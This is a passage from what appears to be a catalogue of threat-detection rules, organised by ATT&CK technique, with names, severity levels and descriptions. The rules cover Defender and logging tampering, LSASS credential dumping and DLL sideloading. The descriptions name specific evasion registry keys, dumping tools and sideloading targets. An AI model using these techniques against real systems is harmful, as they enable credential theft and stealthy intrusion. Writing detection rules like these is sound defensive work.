inspection. Disable Security Events Logging Adding Reg Key MiniNt - Level: high Description: Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events. NetNTLM Downgrade Attack - Registry - Level: high Description: Detects NetNTLM downgrade attack Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback - Level: medium Description: Detects enabling of the "AllowAnonymousCallback" registry value, which allows a remote connection between computers that do not have a trust relationship. Potential AMSI COM Server Hijacking - Level: high Description: Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless Sysmon Driver Altitude Change - Level: high Description: Detects changes in Sysmon driver altitude value. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot. Windows Defender Exclusions Added - Registry - Level: medium Description: Detects the Setting of Windows Defender Exclusions Antivirus Filter Driver Disallowed On Dev Drive - Registry - Level: high Description: Detects activity that indicates a user disabling the ability for Antivirus mini filter to inspect a "Dev Drive". Hypervisor Enforced Code Integrity Disabled - Level: high Description: Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the "Enabled" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. This allows an attacker to load unsigned and untrusted code to be run in the kernel Hypervisor Enforced Paging Translation Disabled - Level: high Description: Detects changes to the "DisableHypervisorEnforcedPagingTranslation" registry value. Where the it is set to "1" in order to disable the Hypervisor Enforced Paging Translation feature. Disable Exploit Guard Network Protection on Windows Defender - Level: medium Description: Detects disabling Windows Defender Exploit Guard Network Protection Disabled Windows Defender Eventlog - Level: high Description: Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections Disable PUA Protection on Windows Defender - Level: high Description: Detects disabling Windows Defender PUA protection Disable Tamper Protection on Windows Defender - Level: medium Description: Detects disabling Windows Defender Tamper Protection Disable Privacy Settings Experience in Registry - Level: medium Description: Detects registry modifications that disable Privacy Settings Experience Windows Defender Service Disabled - Registry - Level: high Description: Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry Scripted Diagnostics Turn Off Check Enabled - Registry - Level: medium Description: Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability Suspicious Application Allowed Through Exploit Guard - Level: high Description: Detects applications being added to the "allowed applications" list of exploit guard in order to bypass controlled folder settings Uncommon Extension In Keyboard Layout IME File Registry Value - Level: high Description: Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean. Suspicious Path In Keyboard Layout IME File Registry Value - Level: high Description: Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean. Microsoft Office Protected View Disabled - Level: high Description: Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature. Python Function Execution Security Warning Disabled In Excel - Registry - Level: high Description: Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet. Tamper With Sophos AV Registry Keys - Level: high Description: Detects tamper attempts to sophos av functionality via registry key modification Suspicious Service Installed - Level: medium Description: Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU) Disable Windows Defender Functionalities Via Registry Keys - Level: high Description: Detects when attackers or tools disable Windows Defender functionalities via the Windows registry Potential Ke3chang/TidePool Malware Activity - Level: high Description: Detects registry modifications potentially related to the Ke3chang/TidePool malware as seen in campaigns running in 2019 and 2020 AWS Macie Evasion - Level: medium Description: Detects evade to Macie detection.
attack.t1003.001	82	Show Rules (82) Credential Dumping Tools Service Execution - Level: critical Description: Detects well-known credential dumping tools execution via service execution events CrackMapExec File Creation Patterns - Level: high Description: Detects suspicious file creation patterns found in logs when CrackMapExec is used LSASS Memory Dump File Creation - Level: high Description: LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified CreateMiniDump Hacktool - Level: high Description: Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine Credential Dumping by LaZagne - Level: critical Description: Detects LSASS process access by LaZagne for credential dumping. Credential Dumping Tools Accessing LSASS Memory - Level: high Description: Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools Credential Dumping by Pypykatz - Level: critical Description: Detects LSASS process access by pypykatz for credential dumping. Process Memory Dumped Via RdrLeakDiag.EXE - Level: high Description: Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory Accessing WinAPI in PowerShell for Credentials Dumping - Level: high Description: Detects Accessing to lsass.exe by Powershell Antivirus Password Dumper Detection - Level: critical Description: Detects a highly relevant Antivirus alert that reports a password dumper. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. Transferring Files with Credential Data via Network Shares - Zeek - Level: medium Description: Transferring files with well-known filenames (sensitive files with credential data) using network shares Mimikatz Use - Level: high Description: This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups) Potential Credential Dumping Via WER - Application - Level: high Description: Detects Windows error reporting event where the process that crashed is lsass. This could be the cause of an intentional crash by techniques such as Lsass-Shtinkering to dump credential LSASS Access From Non System Account - Level: medium Description: Detects potential mimikatz-like tools accessing LSASS from non system account Credential Dumping Tools Service Execution - Security - Level: high Description: Detects well-known credential dumping tools execution via service execution events Password Dumper Activity on LSASS - Level: high Description: Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN Potentially Suspicious AccessMask Requested From LSASS - Level: medium Description: Detects process handle on LSASS process with certain access mask Transferring Files with Credential Data via Network Shares - Level: medium Description: Transferring files with well-known filenames (sensitive files with credential data) using network shares Credential Dumping Tools Service Execution - System - Level: high Description: Detects well-known credential dumping tools execution via service execution events LSASS Access Detected via Attack Surface Reduction - Level: high Description: Detects Access to LSASS Process Potential Credential Dumping Attempt Via PowerShell Remote Thread - Level: high Description: Detects remote thread creation by PowerShell processes into "lsass.exe" Password Dumper Remote Thread in LSASS - Level: high Description: Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage. The process in field Process is the malicious program. A single execution can lead to hundreds of events. Cred Dump Tools Dropped Files - Level: high Description: Files with well-known filenames (parts of credential dump software or files produced by them) creation HackTool - CrackMapExec File Indicators - Level: high Description: Detects file creation events with filename patterns used by CrackMapExec. HackTool - Dumpert Process Dumper Default File - Level: critical Description: Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory HackTool - SafetyKatz Dump Indicator - Level: high Description: Detects default lsass dump filename generated by SafetyKatz. LSASS Process Memory Dump Files - Level: high Description: Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials. LSASS Process Dump Artefact In CrashDumps Folder - Level: high Description: Detects the presence of an LSASS dump file in the "CrashDumps" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process. WerFault LSASS Process Memory Dump - Level: high Description: Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials LSASS Process Memory Dump Creation Via Taskmgr.EXE - Level: high Description: Detects the creation of an "lsass.dmp" file by the taskmgr process. This indicates a manual dumping of the LSASS.exe process memory using Windows Task Manager. Suspicious Renamed Comsvcs DLL Loaded By Rundll32 - Level: high Description: Detects rundll32 loading a renamed comsvcs.dll to dump process memory Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded - Level: high Description: Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine. Time Travel Debugging Utility Usage - Image - Level: high Description: Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe. Unsigned Image Loaded Into LSASS Process - Level: medium Description: Loading unsigned image (DLL, EXE) into LSASS process HackTool - Credential Dumping Tools Named Pipe Created - Level: critical Description: Detects well-known credential dumping tools execution via specific named pipe creation PowerShell Get-Process LSASS in ScriptBlock - Level: high Description: Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity HackTool - Generic Process Access - Level: high Description: Detects process access requests from hacktool processes based on their default image name HackTool - HandleKatz Duplicating LSASS Handle - Level: high Description: Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles Lsass Memory Dump via Comsvcs DLL - Level: high Description: Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass. LSASS Memory Access by Tool With Dump Keyword In Name - Level: high Description: Detects LSASS process access requests from a source process with the "dump" keyword in its image name. Potential Credential Dumping Activity Via LSASS - Level: medium Description: Detects process access requests to the LSASS process with specific call trace calls and access masks. This behaviour is expressed by many credential dumping tools such as Mimikatz, NanoDump, Invoke-Mimikatz, Procdump and even the Taskmgr dumping feature. Credential Dumping Activity By Python Based Tool - Level: high Description: Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz. Remote LSASS Process Access Through Windows Remote Management - Level: high Description: Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz. Suspicious LSASS Access Via MalSecLogon - Level: high Description: Detects suspicious access to LSASS handle via a call trace to "seclogon.dll" with a suspicious access right. Potentially Suspicious GrantedAccess Flags On LSASS - Level: medium Description: Detects process access requests to LSASS process with potentially suspicious access flags Credential Dumping Attempt Via WerFault - Level: high Description: Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up. LSASS Access From Potentially White-Listed Processes - Level: high Description: Detects a possible process memory dump that uses a white-listed filename like TrolleyExpress.exe as a way to dump the LSASS process memory without Microsoft Defender interference Potential Adplus.EXE Abuse - Level: high Description: Detects execution of "AdPlus.exe", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands. Process Access via TrolleyExpress Exclusion - Level: high Description: Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory CreateDump Process Dump - Level: high Description: Detects uses of the createdump.exe LOLOBIN utility to dump process memory Potential Windows Defender AV Bypass Via Dump64.EXE Rename - Level: high Description: Detects when a user is potentially trying to bypass the Windows Defender AV by renaming a tool to dump64.exe and placing it in the Visual Studio folder. Currently the rule is covering only usage of procdump but other utilities can be added in order to increase coverage. DumpMinitool Execution - Level: medium Description: Detects the use of "DumpMinitool.exe" a tool that allows the dump of process memory via the use of the "MiniDumpWriteDump" Suspicious DumpMinitool Execution - Level: high Description: Detects suspicious ways to use the "DumpMinitool.exe" binary HackTool - CrackMapExec Process Patterns - Level: high Description: Detects suspicious process patterns found in logs when CrackMapExec is used HackTool - CreateMiniDump Execution - Level: high Description: Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine HackTool - Dumpert Process Dumper Execution - Level: critical Description: Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory HackTool - HandleKatz LSASS Dumper Execution - Level: high Description: Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same HackTool - Inveigh Execution - Level: critical Description: Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool HackTool - Mimikatz Execution - Level: high Description: Detection well-known mimikatz command line arguments HackTool - SafetyKatz Execution - Level: critical Description: Detects the execution of the hacktool SafetyKatz via PE information and default Image name HackTool - Windows Credential Editor (WCE) Execution - Level: critical Description: Detects the use of Windows Credential Editor (WCE) HackTool - XORDump Execution - Level: high Description: Detects suspicious use of XORDump process memory dumping utility Dumping Process via Sqldumper.exe - Level: medium Description: Detects process dump via legitimate sqldumper.exe binary Time Travel Debugging Utility Usage - Level: high Description: Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe. Potential Credential Dumping Via LSASS Process Clone - Level: critical Description: Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity Process Memory Dump via RdrLeakDiag.EXE - Level: high Description: Detects the use of the Microsoft Windows Resource Leak Diagnostic tool "rdrleakdiag.exe" to dump process memory Renamed CreateDump Utility Execution - Level: high Description: Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory Process Memory Dump Via Comsvcs.DLL - Level: high Description: Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.) LSASS Dump Keyword In CommandLine - Level: high Description: Detects the presence of the keywords "lsass" and ".dmp" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process. Procdump Execution - Level: medium Description: Detects usage of the SysInternals Procdump utility Potential SysInternals ProcDump Evasion - Level: high Description: Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name Potential LSASS Process Dump Via Procdump - Level: high Description: Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we are also able to catch cases in which the attacker has renamed the procdump executable. Potential Credential Dumping Via WER - Level: high Description: Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass Windows Credential Editor Registry - Level: critical Description: Detects the use of Windows Credential Editor (WCE) Potential Credential Dumping Via LSASS SilentProcessExit Technique - Level: critical Description: Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process Lsass Full Dump Request Via DumpType Registry Settings - Level: high Description: Detects the setting of the "DumpType" registry value to "2" which stands for a "Full Dump". Technique such as LSASS Shtinkering requires this value to be "2" in order to dump LSASS. NotPetya Ransomware Activity - Level: critical Description: Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil APT31 Judgement Panda Activity - Level: critical Description: Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report Dbghelp/Dbgcore DLL Loaded By Uncommon/Suspicious Process - Level: medium Description: Detects the load of dbghelp/dbgcore DLL by a potentially uncommon or potentially suspicious process. The Dbghelp and Dbgcore DLLs export functions that allow for the dump of process memory. Tools like ProcessHacker, Task Manager and some attacker tradecraft use the MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine. Keep in mind that many legitimate Windows processes and services might load the aforementioned DLLs for debugging or other related purposes. Investigate the CommandLine and the Image location of the process loading the DLL. Potential Credential Dumping Attempt Via PowerShell - Level: medium Description: Detects a PowerShell process requesting access to "lsass.exe", which can be indicative of potential credential dumping attempts LSASS Access From Program In Potentially Suspicious Folder - Level: medium Description: Detects process access to LSASS memory with suspicious access flags and from a potentially suspicious folder Uncommon GrantedAccess Flags On LSASS - Level: medium Description: Detects process access to LSASS memory with uncommon access flags 0x410 and 0x01410
attack.t1574.002	82	Show Rules (82) SCM DLL Sideload - Level: medium Description: Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system Svchost DLL Search Order Hijack - Level: high Description: Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\Windows\System32\ by default. An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services "svchost.exe -k netsvcs" to gain code execution on a remote machine. Possible Process Hollowing Image Loading - Level: high Description: Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz DNS Server Error Failed Loading the ServerLevelPluginDLL - Level: high Description: Detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded Microsoft Defender Blocked from Loading Unsigned DLL - Level: high Description: Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL Unsigned Binary Loaded From Suspicious Location - Level: high Description: Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations DHCP Server Error Failed Loading the CallOut DLL - Level: high Description: This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded DHCP Server Loaded the CallOut DLL - Level: high Description: This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded Creation Of Non-Existent System DLL - Level: medium Description: Detects the creation of system DLLs that are usually not present on the system (or at least not in system directories). Usually this technique is used to achieve DLL hijacking. DLL Search Order Hijackig Via Additional Space in Path - Level: high Description: Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack Malicious DLL File Dropped in the Teams or OneDrive Folder - Level: high Description: Detects creation of a malicious DLL file in the location where the OneDrive or Team applications Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded Potential Azure Browser SSO Abuse - Level: low Description: Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user. Potential 7za.DLL Sideloading - Level: low Description: Detects potential DLL sideloading of "7za.dll" Potential Antivirus Software DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc Potential appverifUI.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "appverifUI.dll" Aruba Network Service Potential DLL Sideloading - Level: high Description: Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access "arubanetsvc.exe" process using DLL Search Order Hijacking Potential AVKkid.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "AVKkid.dll" Potential CCleanerDU.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "CCleanerDU.dll" Potential CCleanerReactivator.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "CCleanerReactivator.dll" Potential Chrome Frame Helper DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "chrome_frame_helper.dll" Potential DLL Sideloading Via ClassicExplorer32.dll - Level: medium Description: Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software Potential DLL Sideloading Via comctl32.dll - Level: high Description: Detects potential DLL sideloading using comctl32.dll to obtain system privileges Potential DLL Sideloading Of DBGCORE.DLL - Level: medium Description: Detects DLL sideloading of "dbgcore.dll" Potential DLL Sideloading Of DBGHELP.DLL - Level: medium Description: Detects potential DLL sideloading of "dbghelp.dll" Potential DLL Sideloading Of DbgModel.DLL - Level: medium Description: Detects potential DLL sideloading of "DbgModel.dll" Potential EACore.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "EACore.dll" Potential Edputil.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "edputil.dll" Potential System DLL Sideloading From Non System Locations - Level: high Description: Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.). Potential Goopdate.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE - Level: medium Description: Detects potential DLL sideloading of "libcurl.dll" by the "gup.exe" process from an uncommon location Potential Iviewers.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "iviewers.dll" (OLE/COM Object Interface Viewer) Potential DLL Sideloading Via JsSchHlp - Level: medium Description: Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE - Level: high Description: Detects potential DLL side loading of "KeyScramblerIE.dll" by "KeyScrambler.exe". Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe". Potential Libvlc.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "libvlc.dll", a DLL that is legitimately used by "VLC.exe" Potential Mfdetours.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "mfdetours.dll". While using "mftrace.exe" it can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution. Unsigned Mfdetours.DLL Sideloading - Level: high Description: Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution. Potential DLL Sideloading Of MpSvc.DLL - Level: medium Description: Detects potential DLL sideloading of "MpSvc.dll". Potential DLL Sideloading Of MsCorSvc.DLL - Level: medium Description: Detects potential DLL sideloading of "mscorsvc.dll". Potential DLL Sideloading Of Non-Existent DLLs From System Folders - Level: high Description: Detects DLL sideloading of system DLLs that are not present on the system by default (at least not in system directories). Usually this technique is used to achieve UAC bypass or privilege escalation. Microsoft Office DLL Sideload - Level: high Description: Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location Potential Python DLL SideLoading - Level: medium Description: Detects potential DLL sideloading of Python DLL files. Potential Rcdll.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of rcdll.dll Potential RjvPlatform.DLL Sideloading From Default Location - Level: medium Description: Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default. Potential RjvPlatform.DLL Sideloading From Non-Default Location - Level: high Description: Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location. Potential RoboForm.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager Potential ShellDispatch.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "ShellDispatch.dll" DLL Sideloading Of ShellChromeAPI.DLL - Level: high Description: Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter Potential SmadHook.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus Potential SolidPDFCreator.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "SolidPDFCreator.dll" Third Party Software DLL Sideloading - Level: medium Description: Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc) Fax Service DLL Search Order Hijack - Level: high Description: The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service. Potential Vivaldi_elf.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "vivaldi_elf.dll" VMGuestLib DLL Sideload - Level: medium Description: Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service. VMMap Signed Dbghelp.DLL Potential Sideloading - Level: medium Description: Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap. VMMap Unsigned Dbghelp.DLL Potential Sideloading - Level: high Description: Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap. Potential DLL Sideloading Via VMware Xfer - Level: high Description: Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL Potential Waveedit.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software. Potential Wazuh Security Platform DLL Sideloading - Level: medium Description: Detects potential DLL side loading of DLLs that are part of the Wazuh security platform Potential Mpclient.DLL Sideloading - Level: high Description: Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory. Potential WWlib.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "wwlib.dll" Unsigned Module Loaded by ClickOnce Application - Level: medium Description: Detects unsigned module load by ClickOnce application. Suspicious Unsigned Thor Scanner Execution - Level: high Description: Detects loading and execution of an unsigned thor scanner binary. UAC Bypass With Fake DLL - Level: high Description: Attempts to load dismcore.dll after dropping it Potential DLL Sideloading Via DeviceEnroller.EXE - Level: medium Description: Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that does not exist. This non-existent DLL file is named "ShellChromeAPI.dll". Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter DLL Sideloading by VMware Xfer Utility - Level: high Description: Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE - Level: high Description: Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required) Suspicious GUP Usage - Level: high Description: Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks Potentially Suspicious Child Process of KeyScrambler.exe - Level: medium Description: Detects potentially suspicious child processes of KeyScrambler.exe Potential Mpclient.DLL Sideloading Via Defender Binaries - Level: high Description: Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory. Renamed Vmnat.exe Execution - Level: high Description: Detects renamed vmnat.exe or portable version that can be used for DLL side-loading Tasks Folder Evasion - Level: high Description: The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr Xwizard.EXE Execution From Non-Default Location - Level: high Description: Detects the execution of Xwizard tool from a non-default directory. When executed from a non-default directory, this utility can be abused in order to side load a custom version of "xwizards.dll". DHCP Callout DLL Installation - Level: high Description: Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required) New DNS ServerLevelPluginDll Installed - Level: high Description: Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required) Potential PlugX Activity - Level: high Description: Detects the execution of an executable that is typically used by PlugX for DLL side loading starting from an uncommon location APT27 - Emissary Panda Activity - Level: critical Description: Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27 Winnti Malware HK University Campaign - Level: critical Description: Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities Winnti Pipemon Characteristics - Level: critical Description: Detects specific process characteristics of Winnti Pipemon malware reported by ESET DLL Names Used By SVR For GraphicalProton Backdoor - Level: medium Description: Hunts known SVR-specific DLL names. Diamond Sleet APT DLL Sideloading Indicators - Level: high Description: Detects DLL sideloading activity seen used by Diamond Sleet APT Lazarus APT DLL Sideloading Activity - Level: high Description: Detects sideloading of trojanized DLLs used in Lazarus APT campaign in the case of a Spanish aerospace company Potential Raspberry Robin Aclui Dll SideLoading - Level: high Description: Detects potential sideloading of malicious "aclui.dll" by OleView.This behavior was observed in Raspberry-Robin variants reported by chekpoint research on Feburary 2024.
attack.t1574.001	55	Show Rules (55) SCM DLL Sideload - Level: medium Description: Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system Svchost DLL Search Order Hijack - Level: high Description: Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\Windows\System32\ by default. An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services "svchost.exe -k netsvcs" to gain code execution on a remote machine. Use Of Hidden Paths Or Files - Level: low Description: Detects calls to hidden files or files located in hidden directories in NIX systems. Creation Of Non-Existent System DLL - Level: medium Description: Detects the creation of system DLLs that are usually not present on the system (or at least not in system directories). Usually this technique is used to achieve DLL hijacking. HackTool - Powerup Write Hijack DLL - Level: high Description: Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation. In it's default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default). Potential Initial Access via DLL Search Order Hijacking - Level: medium Description: Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking. Creation of WerFault.exe/Wer.dll in Unusual Folder - Level: medium Description: Detects the creation of a file named "WerFault.exe" or "wer.dll" in an uncommon folder, which could be a sign of WerFault DLL hijacking. Potential 7za.DLL Sideloading - Level: low Description: Detects potential DLL sideloading of "7za.dll" Potential Antivirus Software DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc Potential appverifUI.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "appverifUI.dll" Aruba Network Service Potential DLL Sideloading - Level: high Description: Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access "arubanetsvc.exe" process using DLL Search Order Hijacking Potential AVKkid.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "AVKkid.dll" Potential CCleanerDU.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "CCleanerDU.dll" Potential CCleanerReactivator.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "CCleanerReactivator.dll" Potential Chrome Frame Helper DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "chrome_frame_helper.dll" Potential DLL Sideloading Via 